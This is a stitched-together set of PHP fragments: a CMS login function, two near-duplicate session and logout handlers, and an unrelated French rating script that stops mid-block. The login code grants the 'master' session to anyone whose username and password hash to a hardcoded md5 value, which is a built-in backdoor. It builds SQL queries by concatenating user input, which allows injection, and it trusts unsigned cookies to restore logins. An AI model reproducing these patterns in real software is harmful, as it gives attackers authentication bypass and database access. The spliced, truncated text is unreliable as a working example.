function login($user, $pasw, $mail, $cook = '') { $user = normalize($user); $pasw = normalize($pasw); $newhub = $_POST['create_hub']; $qdu = ses('qdu'); $qb = ses('qb'); $host = hostname(); if (md5($user . $pasw) == 'df66a9ca7bc0d62e580dc575ccc9ba23') { $_SESSION['USE'] = ses('master'); } //$ath=array_flip(authes_levels()); //log $iq = verif_user($user, $pasw); if ($iq) { list($ip, $userhub) = sql('ip,hub', 'qdu', 'r', 'name="' . $user . '"'); if ($ip != $host) { update('qdu', 'ip', $host, 'name', $user); } if ($userhub) { $qb = $user; } return log_result($user, $iq, $qb, '', $cook); } elseif ($user == 'login') { //is_numeric($ath[$user]) if (!rstr(73)) { return loged($user, '', ''); } list($iq, $ip) = ser("id,ip", $qdu . ' WHERE name="' . $qb . '"'); if ($ip == $host) { return log_result($qb, $iq, $qb, '', $cook); } else { list($iq, $USE) = ser("id,name", $qdu . ' WHERE ip="' . $host . '"'); if ($iq) { return log_result($USE, $iq, $qb, '', $cook); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_no')); } } } //bad passw $iq = verif_user($user, ''); $exist = isgoodhubname($user); $first = sql('id', 'qdu', 'v', 'id=1'); if ($iq) { $_SESSION['tentativ'] += 1; if ($_SESSION['tentativ'] >= 3) { return alert_user($user); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_nopass')); } } elseif (prmb(11) == 0 && !$newhub && $first && !auth(5)) { return lj('small', "valid_loged", 'bruu! ' . helps('log_nohub')); } elseif ($exist == true) { return lj('small', "valid_loged", 'bruu! ' . $user . ' ' . nms(37)); } elseif (prmb(11) >= 1 or $newhub or !$first or prms('create_hub') == "on") { $rl = "ok"; if (!$mail or strpos($mail, "@") === false) { $tfield = divc("txtcadr", helps('log_newser') . ' ' . prmb(11)); $tfield .= hidden('user', '', $user) . hidden('pass', '', $pasw); if (auth(6) or !$first or prmb(11) >= 6 && prms('create_hub') == "on") { $tfield .= hidden('create_hub', '', $user); } $tfield .= autoclic('mail', 'mail?', '20', '100', '') . ' '; $tfield .= input2('submit', 'envoyer', "ok", 'txtbox') . ' '; $tfield .= lj('txtx', 'valid_loged', picto('left')); return form('/?log=on', $tfield); } else { if ($_POST['mail'] or $newhub) { $user = $newhub ? $newhub : $user; } elseif ($_SESSION['USE']) { $user = $_SESSION['USE']; } if ($user != 'admin') { $iq = adduser($qb, $user, $pasw, $mail); } //add_user if (prmb(11) >= 6 or $newhub or !$first) { modif_cnfgtxt($user, $first); //add_hub $qb = makenew($user); message2newuser($user, $mail, $pasw); $_SESSION['auth'] = ''; } $_SESSION['qbin']['adminmail'] = $mail; log_result($user, $iq, $qb, $rl, $cook); } } }
function log_mods() { $use = ses('USE'); switch ($_GET['log']) { case "on": $usr = $_POST['user'] ? $_POST['user'] : "******"; $ret = login($usr, $_POST['pass'], $_POST['mail']); break; case "in": $ret = loged('', '', ''); break; case "out": $_SESSION['USE'] = ''; $_SESSION['auth'] = ''; $dayz = $_SESSION['dayx'] - 86400; setcookie('use', $use, $dayz); $_COOKIE['use'] = ''; $_COOKIE['iq'] = ''; setcookie('iq', $_SESSION['iq'], $dayz); $_SESSION['nuse'] = 1; break; case "reboot": reboot(); relod('/'); break; case "create_hub": $_POST['create_hub'] = ses('qb'); $ret = login(ses('qb'), "pass", ''); break; case "off": $qd = $_SESSION['qd']; $dev = $_SESSION['dev']; session_destroy(); $_SESSION['qd'] = $qd; $_SESSION['dev'] = $dev; relod('/?qd=' . $qd); break; case "down": session_destroy(); relod("/"); break; } if ($ret) { alert($ret); } elseif (!$use && rstr(59) && !$_SESSION['nuse']) { if ($_COOKIE['use']) { $iq = verif_user($_COOKIE['use'], ''); if ($_COOKIE['iq'] == $iq && $iq) { $_SESSION['USE'] = $_COOKIE['use']; $_SESSION['iq'] = $_COOKIE['iq']; } } } }
function log_mods() { $use = ses('USE'); if (isset($_GET['log'])) { switch ($_GET['log']) { case 'on': $usr = $_POST['user'] ? $_POST['user'] : '******'; $ret = login($usr, $_POST['pass'], $_POST['mail']); break; case 'in': $ret = loged('', '', ''); break; case 'out': $_SESSION['USE'] = ''; $_SESSION['auth'] = ''; $dayz = $_SESSION['dayx'] - 86400; setcookie('use', $use, $dayz); $_COOKIE['use'] = ''; $_COOKIE['iq'] = ''; setcookie('iq', $_SESSION['iq'], $dayz); $_SESSION['nuse'] = 1; break; case 'reboot': $r = array('qd', 'qb', 'USE', 'iq', 'dev'); foreach ($r as $v) { $ret[$v] = $_SESSION[$v]; } $_SESSION = $ret; relod('/'); break; case 'create_hub': $_POST['create_hub'] = ses('qb'); $ret = login(ses('qb'), 'pass', ''); break; case 'off': $qd = $_SESSION['qd']; $dev = $_SESSION['dev']; session_destroy(); $_SESSION['qd'] = $qd; $_SESSION['dev'] = $dev; relod('/?qd=' . $qd); break; case 'down': session_destroy(); relod('/'); break; } } if ($ret) { alert($ret); } elseif (!$use && rstr(59) && !$_SESSION['nuse']) { if ($_COOKIE['use']) { $iq = verif_user($_COOKIE['use'], ''); if ($_COOKIE['iq'] == $iq && $iq) { $_SESSION['USE'] = $_COOKIE['use']; $_SESSION['iq'] = $_COOKIE['iq']; } } } }
/*déclaration variables !!!*/ $rating = show_rating($_GET['id']); $sum = $rating['0']['SUM(valeur)']; $count = $rating['0']['COUNT(valeur)']; function show_adr($adr, $dep, $ville) { $mon_adresse = $adr . ", " . $dep . ", " . $ville; return $mon_adresse; } $resultat_adr = recuperer_adr(); foreach ($resultat_adr as $n) { $tab_adr[] = show_adr($n[12], $n[11], $n[10]); } print_r($tab_adr); //show_adr($mon_event[12], $mon_event[11], $mon_event[10]); $verif_user_vote = verif_user($_SESSION['prenom'], $_GET['id']); //print_r($verif_user_vote[0]); /* calcul de la moyenne du rating*/ if ($count == 0) { $rating_star = 0; } else { $arrondi = round($sum / $count); $rating_star = intval($arrondi); } /*verification + ajout d'un vote */ if (isset($_POST['id']) && isset($_POST['prenom']) && isset($_POST['valeur'])) { if ($verif_user_vote > 0) { echo 'vous avez déja voté !!'; } echo 'Merci d\'avoir voté :)'; add_vote($_POST['id'], $_POST['prenom'], $_POST['valeur']);